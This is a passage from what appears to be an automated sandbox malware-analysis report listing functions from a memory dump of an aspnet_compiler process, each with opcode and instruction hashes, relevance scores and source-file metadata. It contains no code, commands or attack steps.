                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 23bbd8f185d8045763a7ba5dae794b311b692fa3e1499c9c204df62206f18623
                  • Instruction ID: d5ce164d25d36bbf370ec6960aade8d471156c66c88a9760dbff982219d96448
                  • Opcode Fuzzy Hash: 23bbd8f185d8045763a7ba5dae794b311b692fa3e1499c9c204df62206f18623
                  • Instruction Fuzzy Hash: 9C71DF79D01229DFCB258F58C4907FEBBB8FF48718F14815AE982AB754E3749800CB90
                  Function 013E8D6B Relevance: .2, Instructions: 206COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 490678d939383ea8ff14f44df7b2be08cf3699fb93f61cbf8a21d46579fe48dd
                  • Instruction ID: 95001b3eff5ea1fab09e62d3557dfc01d455ca8d355be4394cf2c1a6de5392a4
                  • Opcode Fuzzy Hash: 490678d939383ea8ff14f44df7b2be08cf3699fb93f61cbf8a21d46579fe48dd
                  • Instruction Fuzzy Hash: 0071C170D0426A9FDB15CF59C844AFABBF5EF85308F0480A9E998DB381E335DA45C7A0
                  Function 0136260B Relevance: .2, Instructions: 201COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 9edf6665ea2e2fba53330880e5b4a42e1d792fc927bb8f8f6a2443d4be515a24
                  • Instruction ID: 151455999cfc3c53e26c8200cb8a30a493a62d6ccc30a6fabf07f4fef6c2e5e7
                  • Opcode Fuzzy Hash: 9edf6665ea2e2fba53330880e5b4a42e1d792fc927bb8f8f6a2443d4be515a24
                  • Instruction Fuzzy Hash: F971DF716046428FD312CF2CC480B6AB7E9FF84318F06C5AAE8998B756DB78DC45CB91
                  Function 013D035C Relevance: .2, Instructions: 198COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                  • Instruction ID: b3ead69f0ba7361098dfb770b7dbe81f6c6299f615b448dc474e37e5eb2c6b0b
                  • Opcode Fuzzy Hash: f01f26b9d4523bb8af8d0dc1087c2bf1dc413617a4b2b84ce5c3b8fc37ed168b
                  • Instruction Fuzzy Hash: BE717072A0061AEFDB14DFA9D984EDEBBB9FF48704F104569E905E7250DB34EA01CB50
                  Function 013E62A0 Relevance: .2, Instructions: 198COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a629322c67c14f18c81a01c0c35d2ec1c3985f938060d9dda6efd90aa7ed90c5
                  • Instruction ID: befd6d122f580eee9072e41913245626779baa163720b2b8ae6aba29b2f54347
                  • Opcode Fuzzy Hash: a629322c67c14f18c81a01c0c35d2ec1c3985f938060d9dda6efd90aa7ed90c5
                  • Instruction Fuzzy Hash: 8C7123B2200B11AFEB32DF18C84AF5ABBE6EF50728F114428E2159B6E1D771E844CB50
                  Function 01358AA0 Relevance: .2, Instructions: 197COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b27ebe2db1fc9620763a752d1de924a53977c755625e9a2cdae501f216ec3ad9
                  • Instruction ID: a1bcbd71e02a8e22cfe0cdb2153aee53302f6144c50668650e99f02e599be3b9
                  • Opcode Fuzzy Hash: b27ebe2db1fc9620763a752d1de924a53977c755625e9a2cdae501f216ec3ad9
                  • Instruction Fuzzy Hash: 8481D372A04305CFDB65CF9DC4C4BAE77B5BF48718F194269DA00AB691E734AD40CB90
                  Function 0138CDB1 Relevance: .2, Instructions: 197COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 91f9338b24710c17ad47dc3ed5bdd1e984abc1bfbf7d583f38b41af23e17926d
                  • Instruction ID: b0648fdd7a2329a9c2e3b59f0947c3d289356c4ba018e1744a982513209aa255
                  • Opcode Fuzzy Hash: 91f9338b24710c17ad47dc3ed5bdd1e984abc1bfbf7d583f38b41af23e17926d
                  • Instruction Fuzzy Hash: 9261C275A00206DFDB19EF6CC890AAEB7B5FF08718F11916DE616EB291DB319D01CB60
                  Function 0137EDD3 Relevance: .2, Instructions: 166COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f7772d1a1284eee234328036508fa6fe59e8f746385da2360f252e05b7a27603
                  • Instruction ID: 16e685bc5f777ffdb07d959d1dbb3b8b2b9dbd0bccb54d589aacdac850f06646
                  • Opcode Fuzzy Hash: f7772d1a1284eee234328036508fa6fe59e8f746385da2360f252e05b7a27603
                  • Instruction Fuzzy Hash: 7E51A871200745DFDB31DB5DC884A6BB7ADAB5460DF104D6EE20A97E51D7B8E884CB80
                  Function 0137CDF0 Relevance: .2, Instructions: 165COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 6851680e3e689f07d8311deac1a97bfa9ae5f47be04d730b0759b45304561ce1
                  • Instruction ID: 83af7051834581d4fc51656c75d447146775632d2ef35fcebd12b514bd59b9a1
                  • Opcode Fuzzy Hash: 6851680e3e689f07d8311deac1a97bfa9ae5f47be04d730b0759b45304561ce1
                  • Instruction Fuzzy Hash: A8516076E0060ADFCF24CF9CC5C06EDBBB5FB48219F198579DA15A7A00E734AA41CB54
                  Function 01418DAE Relevance: .2, Instructions: 162COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: d09d95b089d1b0eba3079db01b2992838df4a274549bed0b5cb01136b5aa8a4a
                  • Instruction ID: c02c3efc758b130708f3c21d2bec4f6e209d12f24af4b78b37c350ca9b016fb9
                  • Opcode Fuzzy Hash: d09d95b089d1b0eba3079db01b2992838df4a274549bed0b5cb01136b5aa8a4a
                  • Instruction Fuzzy Hash: AC51AD726047029BD711DF28C840BABB7E5FFA4354F04892EF985972A4D734E909CB95
                  Function 0138E443 Relevance: .2, Instructions: 158COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5bc03f8779afa14258efde2e4e53fec8fbf30a1db5cfa4a4e08618025ff1fdf5
                  • Instruction ID: 3f738df85bb31461e865960fcedd2882634ffdc8f7d3a92b7cf67636383e9c57
                  • Opcode Fuzzy Hash: 5bc03f8779afa14258efde2e4e53fec8fbf30a1db5cfa4a4e08618025ff1fdf5
                  • Instruction Fuzzy Hash: 43513871200A09EFCB22EF69C980F6AB3FDFB54758F410469E55697664D734ED40CB60
                  Function 013745B1 Relevance: .2, Instructions: 156COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                  • Instruction ID: 740e478c6248606fa6597fc46150ad5c728d09796e48d3450f4960e091b6a7f9
                  • Opcode Fuzzy Hash: 0d00e1a585e90d849ff2aa0c284c489e35fe4af6d50ef2092e2439a8439fa3dd
                  • Instruction Fuzzy Hash: 51519471D0025A9BDF25DF98C440BEEFBB9AF45758F044069EA15BB240E738ED44CBA0
                  Function 013DE9E0 Relevance: .2, Instructions: 154COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b631fe1f52208cb18c131e5291272d5615ec6cd8030edbb8dd5fe07777775a1e
                  • Instruction ID: 0909f109e48ff258bd05113ab75dc8312eb1d03220dee26e96eccf01c4e3283b
                  • Opcode Fuzzy Hash: b631fe1f52208cb18c131e5291272d5615ec6cd8030edbb8dd5fe07777775a1e
                  • Instruction Fuzzy Hash: 1351B873D0461AEFEF119A98D884FAEBF79AF0032CF154675D9126B190D770AE40CBA0
                  Function 01418B28 Relevance: .2, Instructions: 152COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 54477da939df16801dbba2b14523038f7789ed4397aeb9d8b4c01ce670815411
                  • Instruction ID: 5a320bde5e3122f01e5c9cf46c5156053be9baf03cf519498186fb5d13509e99
                  • Opcode Fuzzy Hash: 54477da939df16801dbba2b14523038f7789ed4397aeb9d8b4c01ce670815411
                  • Instruction Fuzzy Hash: E441F8707016039BE729DB2DC894B7BBB9AFF91260F04811BF955873A9E734D801C691
                  Function 013DCBF0 Relevance: .1, Instructions: 148COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 16ea2f84eb4c4af8cb1db1f27d15c578988f76392697f2b16684b8146ede555e
                  • Instruction ID: 6d78a257dd8d05146cd0b4a8ad60d11702d78d2e685dd4f1d7723819dfe5070d
                  • Opcode Fuzzy Hash: 16ea2f84eb4c4af8cb1db1f27d15c578988f76392697f2b16684b8146ede555e
                  • Instruction Fuzzy Hash: FB519FB691021ADFCB20DFADD9809AEBBB9FF48358B225519DA05A3305D730ED01CF90
                  Function 0138A430 Relevance: .1, Instructions: 139COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 7781f02b7afa7fc72055603fd5ff23ace810840f491c2ca05cea654ffe3619a9
                  • Instruction ID: c4889f17b61c5ef7ad472798acea0e96ffc1c72def155176cba6874372e84c90
                  • Opcode Fuzzy Hash: 7781f02b7afa7fc72055603fd5ff23ace810840f491c2ca05cea654ffe3619a9
                  • Instruction Fuzzy Hash: 964113756003059BDF25FF6CE882B6B7768BB5971CF01042EEA06AB366DBB19C109760
                  Function 0141A9D3 Relevance: .1, Instructions: 139COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 7622aca86cac28a0acf118705f69cf0cc3cb486fddc0e93dd45dfd5b9ea80ff7
                  • Instruction ID: 0c00b86e6aa55b6fcf2ab1462c2ea5ac97f572b3c89090797a3f11191b189e00
                  • Opcode Fuzzy Hash: 7622aca86cac28a0acf118705f69cf0cc3cb486fddc0e93dd45dfd5b9ea80ff7
                  • Instruction Fuzzy Hash: BC413B326017429FC725CF28C984A6BB7A9FF90254B15862FEA1287758EB30FC04C7C0
                  Function 013801F8 Relevance: .1, Instructions: 138COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 071fddaac9d524a00669a3a3625d4c16d5d96bfa829746268db3fe05be238068
                  • Instruction ID: cd9b6ad401a72e10a802b5bad9010908e552bf8e70ab20232467ac8747fd2aab
                  • Opcode Fuzzy Hash: 071fddaac9d524a00669a3a3625d4c16d5d96bfa829746268db3fe05be238068
                  • Instruction Fuzzy Hash: 6741CB36900319DBDF18EF98C440AEEBBB4BF48708F14826AF815E7240D7709D49CBA4
                  Function 0137EBFC Relevance: .1, Instructions: 138COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 352bd25dc97496bf4edd861adc43aff88d7afe98379d0c104a57eab852ee4824
                  • Instruction ID: 0a44de8378cbdab6528c62ae2ef3bc510e8f7c9f341c0ecbbb1d3f29e2d41a29
                  • Opcode Fuzzy Hash: 352bd25dc97496bf4edd861adc43aff88d7afe98379d0c104a57eab852ee4824
                  • Instruction Fuzzy Hash: 3A41C2752043068FDB21DF2CC880A67B7E9FF8821CF01497EEA56C7A15EB34E8448B50
                  Function 01392750 Relevance: .1, Instructions: 137COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: f9143dc9ab32c0c56755980999bbdd100a6c23c33ec6549c8632214e05dba9ed
                  • Instruction ID: 5b9d9ad6d44be39962d4ab688720f2554a037dfe7656824a385ef0f876d4b66e
                  • Opcode Fuzzy Hash: f9143dc9ab32c0c56755980999bbdd100a6c23c33ec6549c8632214e05dba9ed
                  • Instruction Fuzzy Hash: B8515A75E00619CFCB15CF98C580AAEF7B6FF84B14F2481A9D915A7351E770AE42CB90
                  Function 01356154 Relevance: .1, Instructions: 133COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4f8dcbdd881d46ff9cd00336b3729b84890b451d2cf1f7cde13a443bfc4a65ac
                  • Instruction ID: 4a2457422cdddf0a1f8c862122bd94ea2df432c538c24263629229982b31a59c
                  • Opcode Fuzzy Hash: 4f8dcbdd881d46ff9cd00336b3729b84890b451d2cf1f7cde13a443bfc4a65ac
                  • Instruction Fuzzy Hash: 7C51F7B090020ADBEB65CB2CCC45FE9BBB5EF1131CF1482A5E919A76D1E7349981CF40
                  Function 01350BCD Relevance: .1, Instructions: 130COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 5b118a24654ce5b9f5680d4373c755cfd5c78c016504c40ce853088bda06eaf8
                  • Instruction ID: 756fd9f3142fcfba1ad3bd575e92b7ec9f889eafcd172a1911b28e9624326967
                  • Opcode Fuzzy Hash: 5b118a24654ce5b9f5680d4373c755cfd5c78c016504c40ce853088bda06eaf8
                  • Instruction Fuzzy Hash: A5418D72A002299FDF61DF6CC940FEE7BB8EF45B48F4140A5E908AB241D7749E81CB91
                  Function 01350D59 Relevance: .1, Instructions: 130COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: a74904fe82410a9d88718e4d6d9ea82f3513f40895e63d8c32ed62dc85d94bc2
                  • Instruction ID: 61b4325f132d2aafd2a52b8d2c8122f4353cffc40dbe6c9b715d43db47b9a654
                  • Opcode Fuzzy Hash: a74904fe82410a9d88718e4d6d9ea82f3513f40895e63d8c32ed62dc85d94bc2
                  • Instruction Fuzzy Hash: 1441E3756007189FEB259F28CC80FAE77A9AB51B08F1044A9FD499B281D771ED40CB51
                  Function 0141866E Relevance: .1, Instructions: 129COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 52a1741bb7668dbd0e330b4cee233e7836a49f18a3e4eafb0fad66dd8014cf6e
                  • Instruction ID: 20abd25c8aab2af74aad851701f538c700a650c30ea96e87bc5efe9148607a6f
                  • Opcode Fuzzy Hash: 52a1741bb7668dbd0e330b4cee233e7836a49f18a3e4eafb0fad66dd8014cf6e
                  • Instruction Fuzzy Hash: 6341D775B00207ABDB15DF99CC84ABFBBBAAF98240F14406AE918A7369D770DD01C760
                  Function 01350887 Relevance: .1, Instructions: 128COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 2ad0523921551a764a275485b6198085cccf904478412617c5683ea6a04022e4
                  • Instruction ID: 0b6830539b1b039fa30059c6acd569ec418300fa847987c411de6b2eb2a16ab8
                  • Opcode Fuzzy Hash: 2ad0523921551a764a275485b6198085cccf904478412617c5683ea6a04022e4
                  • Instruction Fuzzy Hash: C741E5B16007059FE769CF28C480D26BBF8FF4571CB148A6DE94787A64E732E845CB90
                  Function 0137A470 Relevance: .1, Instructions: 127COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 00c1aa5975c58664581ee1c60444d8dd3f20a4727707e41dd17633952b8164d5
                  • Instruction ID: 9be4ced01536180fb33a56b18004bb7a7ae826ef19f83a3d24bc67952e762e54
                  • Opcode Fuzzy Hash: 00c1aa5975c58664581ee1c60444d8dd3f20a4727707e41dd17633952b8164d5
                  • Instruction Fuzzy Hash: 2841AE32A41209CFDF25DF6CC495BEE7BB4FB18328F180169D511BB6A5DB399940CBA0
                  Function 01358BF0 Relevance: .1, Instructions: 124COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 68f1275fb7d75574f2b8289c82aa4dab0843a7fcd96c8eea1a4b57f9ea0556bf
                  • Instruction ID: a29edd22aafac1e820e327e38a6ecb88007938eb61b0c20c3900cdb6a1184c57
                  • Opcode Fuzzy Hash: 68f1275fb7d75574f2b8289c82aa4dab0843a7fcd96c8eea1a4b57f9ea0556bf
                  • Instruction Fuzzy Hash: 34410435A01206CBDB24DF4DC880F9ABBF5FB94B08F19816ADD019BA65D775D842CB90
                  Function 01348918 Relevance: .1, Instructions: 123COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b2f824beb35c040f89ee16900e1909d24ff7314988a4966f5034efe3c3eceab3
                  • Instruction ID: 2ae74ce664a3e924146c028f1661ed9003ee6115de6741241381ae6d0ce35739
                  • Opcode Fuzzy Hash: b2f824beb35c040f89ee16900e1909d24ff7314988a4966f5034efe3c3eceab3
                  • Instruction Fuzzy Hash: 2B415C355087469FD312DF69C840A6BFBE9EF84B58F40092AF984D7250E771DE058B93
                  Function 0134A020 Relevance: .1, Instructions: 122COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 165ca662f4b1c8196e57a2c4173bd848e06efaa623a98917432a96e6c9651090
                  • Instruction ID: b8fe68816043af6b999202a8a49fd88a58e31a0ef99df15c671a698beb61728e
                  • Opcode Fuzzy Hash: 165ca662f4b1c8196e57a2c4173bd848e06efaa623a98917432a96e6c9651090
                  • Instruction Fuzzy Hash: B5418F31A04215DFDB25DF2D84407BAFBF9EB5075CF99C06AEA468B244D633AD84CB90
                  Function 013509AD Relevance: .1, Instructions: 122COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 74bc1815e3343921121183d9a2a5a73b1dea7e0caa68ac9c046434ef27937cc7
                  • Instruction ID: f66e7410f5ce4f12a6b39466fc89f22d1ef3a39b6c5e31355c84a35ca6960434
                  • Opcode Fuzzy Hash: 74bc1815e3343921121183d9a2a5a73b1dea7e0caa68ac9c046434ef27937cc7
                  • Instruction Fuzzy Hash: BE417C71600601EFE765CF18C840B26BBF8FF54B18F65866AF8498B251E771E942CB90
                  Function 01380710 Relevance: .1, Instructions: 121COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: cfe855aa5370e709d3beaf8d0a0824e85895befd2a0058a9eb758e5aacecaf96
                  • Instruction ID: 296e072ba4f0935487db8001cf10dbc28da43e75adc00cfa420c733cbc5cb00d
                  • Opcode Fuzzy Hash: cfe855aa5370e709d3beaf8d0a0824e85895befd2a0058a9eb758e5aacecaf96
                  • Instruction Fuzzy Hash: BB41FA71A00705EFDB28EF98C990AAABBF9FF18704B10496DF556D7651D330AA48CF50
                  Function 0135262C Relevance: .1, Instructions: 119COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: fe9809acde2170caa448e4624728fbf396893abfd5f9cb95a1124122c15520ab
                  • Instruction ID: f3ee55ba43e9ea9d35fe0a6aece7a9612892cb914bbc0aee782959be7f6fbe45
                  • Opcode Fuzzy Hash: fe9809acde2170caa448e4624728fbf396893abfd5f9cb95a1124122c15520ab
                  • Instruction Fuzzy Hash: FA4103B0501705CFDB62EF28C940F6AB7F5FF45B28F15816AC9069B6A2DB309940CF90
                  Function 0138C8F9 Relevance: .1, Instructions: 116COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 4e1164c449266a0b0049c9752c31e79087372e7c8a6acedbabf9a08b91fe6db9
                  • Instruction ID: 658663b1ea36b992fb14be14475b61d43e0590fd38a619f630aade9a59cb75a5
                  • Opcode Fuzzy Hash: 4e1164c449266a0b0049c9752c31e79087372e7c8a6acedbabf9a08b91fe6db9
                  • Instruction Fuzzy Hash: 24318AB1A00345DFDB12DF68C440B99BBF4FB49728F2181AED519EB251D3369A42CF90
                  Function 013D07C3 Relevance: .1, Instructions: 114COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: 79cc1e4a0af0b82dace194afe107b6520b2a9459230c8d51660fd41e397c87b1
                  • Instruction ID: f94b030065836828fd8a69c839668c21e247699783a2e8d21c3a0603b736230a
                  • Opcode Fuzzy Hash: 79cc1e4a0af0b82dace194afe107b6520b2a9459230c8d51660fd41e397c87b1
                  • Instruction Fuzzy Hash: B9419EB2904341AFD760DF29C845B9BBBE8FF88618F004A2EF998C7251D770D905CB92
                  Function 013D05A7 Relevance: .1, Instructions: 111COMMON
                  Download Yara Rule
                  Memory Dump Source
                  • Source File: 00000004.00000002.2136494432.0000000001320000.00000040.00001000.00020000.00000000.sdmp, Offset: 01320000, based on PE: true
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_4_2_1320000_aspnet_compiler.jbxd
                  Similarity
                  • API ID:
                  • String ID:
                  • API String ID:
                  • Opcode ID: b4a2ae26ee3abd40048d13be6a01ba0be41e532ffc5b91e1cfa67ccd847f4dfb
                  • Instruction ID: a9d232068bdeef07e28de5e55efa60acd920dc167cd483ca9200deba155ec212
